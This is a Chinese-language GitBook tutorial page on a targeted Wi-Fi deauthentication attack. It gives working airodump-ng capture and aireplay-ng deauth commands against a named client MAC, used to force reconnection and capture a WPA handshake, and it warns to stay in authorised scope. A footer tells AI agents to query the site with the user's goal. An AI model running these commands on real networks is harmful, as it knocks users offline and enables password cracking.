> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/targeted-deauthentication-attack.md).

# 定向取消身份验证攻击

验证授权客户端对受控取消身份验证的抵抗能力。

此测试验证实验室客户端对受控去认证的响应。它需要对接入点和客户端的明确授权。

{% hint style="danger" %}
去认证会中断连接。切勿将其发送到授权范围之外的网络或设备。
{% endhint %}

### 准备抓包

在其信道上抓取已授权 ESSID 的流量：

```bash
airodump-ng --channel 11 -w CAPTURE --essid WIFI wlan0mon
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FX4XUcaFq8daSfxi2iaw2%2F%7B920509CB-C5F7-400E-B9C8-EDBF3048B826%7D.png?alt=media&amp;token=19042f7b-4bdf-4f4f-b4df-5972a8b94fce" alt=""><figcaption></figcaption></figure>

### 识别实验室客户端

查看客户端表并确认该站点在授权范围内。帧计数器有助于识别最近的活动。

```bash
46:E9:89:14:07:36
```

### 运行有限测试

向已授权客户端发送有限数量的帧。将示例值替换为实验室值。

```bash
aireplay-ng --deauth 10 -e ATIC2 -c 46:E9:89:14:07:36 wlan0mon
```

该测试会暂时断开客户端连接。重新连接可能会生成可用于验证抓包的握手包。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FbVGX9r2zJsMX03aLSJ3i%2F%7B6F544BDD-3DAC-4382-8DB3-8DA6D6EA1D11%7D.png?alt=media&amp;token=39c35b17-5c80-4479-9d1b-e578c3477674" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/targeted-deauthentication-attack.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
